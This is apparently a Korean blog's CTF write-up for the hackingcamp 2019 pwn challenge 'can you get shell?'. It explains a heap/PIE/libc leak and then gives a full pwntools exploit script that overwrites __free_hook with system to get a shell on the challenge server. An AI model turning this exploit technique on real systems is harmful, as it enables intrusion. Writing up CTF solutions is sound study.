hackingcamp 2019 can you get shell?
이번 햌잉캠프에서 못풀었던 뽀나블 두 문제중 하나다.
leak
이 정말 신기하게 되어서 포스팅한다~~
3번 leak
메뉴에서 WTF? 이라면서 "부동소수점" 값을 출력해주는데 unpack해서 확인해 보면 앞 6자리는 heap
인데 뒷자리가 반올림되어서 나온다.
때문에 arbitrary read
와 arbitrary write
를 제공해줌에도 불구하고 pie
가 걸려있어서 got leak
을 꿈도 못꾸는 상황이 온다.
근데 write
함수 부분을 보면
입력 받고 read
의 반환 값 검사를 하지 않기 때문에 이를 이용하여 heap
, pie
를 구할 수 있다.
pie
까지 구하고 나면 read
메뉴를 통해 libc
를 leak
할 수 있고 이를 이용하여 free_got
를 system
으로 바꾸고 shell
을 얻으면 된다.
@ 제공된 libc를 열어보는 습관을 가지자..
x
from pwn import *
#context.log_level= 'debug'
e = ELF('./hack')
s = connect('pwnable.shop', 5959)
#s = process(e.path)
#s = process(e.path, env={'LD_PRELOAD': './libc.so'})
l = ELF('./libc.so', checksec=False)
ru = lambda x: s.recvuntil(x)
sl = lambda x: s.sendline(x)
p = lambda : pause()
io = lambda : s.interactive()
sla = lambda x,y: s.sendlineafter(x,y)
def menu(sel):
s.sendline(sel)
def write(addr, data):
menu('1')
#ru('Address : ')
#s.send(addr)
sla('Address : ', addr)
sla('Content : ', data)
def read(addr):
menu('2')
sla('Address : ', addr)
sla(': ', '3')
sla(': ', '1')
ru(': ')
leak = float(s.recv(12))
leak = struct.pack('<d', leak)
leak = u64(leak)
leak = hex(leak)[0:11] + '000'
leak = int(leak, 16)
log.info('leak!: {}'.format(hex(leak)))
heap = 0
pie = 0
for i in xrange(1, 10000):
#log.info('[HEAP]: {}'.format(hex(leak - 0x32000*i)))
write(str(leak - 0x32000*i), '0')
ru('y0ubat')
data = s.recv()
if 'Noda!!' not in data:
heap = leak - 0x32000*i
log.info('heap!: {}'.format(hex(heap)))
break
for i in xrange(1, 10000):
write(str(heap - 0x1000*i), '0')
ru('y0ubat')
data = s.recv()
if 'Noda!!' in data:
heap = heap - 0x1000*(i-1)
log.info('heap!!: {}'.format(hex(heap)))
break
for i in xrange(1, 10000):
write(str(heap - 0x1000*(i+1)), '0')
ru('y0ubat')
data = s.recv()
if 'Noda!!' not in data:
pie = heap - 0x1000*i - 0x203000
log.info('pie!!: {}'.format(hex(pie)))
break
read(str(pie + 0x201F40))
ru('Content : ')
l_base = u64(s.recv(6).ljust(8, '\x00')) - l.symbols['setvbuf']
#l_base = u64(s.recv(6).ljust(8, '\x00')) - 0x6fe70
log.info('l_base!: {}'.format(hex(l_base)))
f_hook = l_base + l.symbols['__free_hook']
system = l_base + l.symbols['system']
#f_hook = l_base + 0x3c67a8
#system = l_base + 0x45390
write(str(f_hook), p64(system))
write(str(heap + 0x250 + 0x11c10 + 0x1010 + 0x10), "/bin/sh\x00")
sla(': ', '3')
sla(': ', '/')
io()
'system > writeup' 카테고리의 다른 글
pwnable.tw secretgarden (0) | 2019.02.20 |
---|---|
hackingcamp 2019 secret note (6) | 2019.02.19 |
trustctf 2019 abyss (2) | 2019.02.15 |
trustctf 2019 start (2) | 2019.02.15 |
trustctf 2019 로꾸꺼 (3) | 2019.02.15 |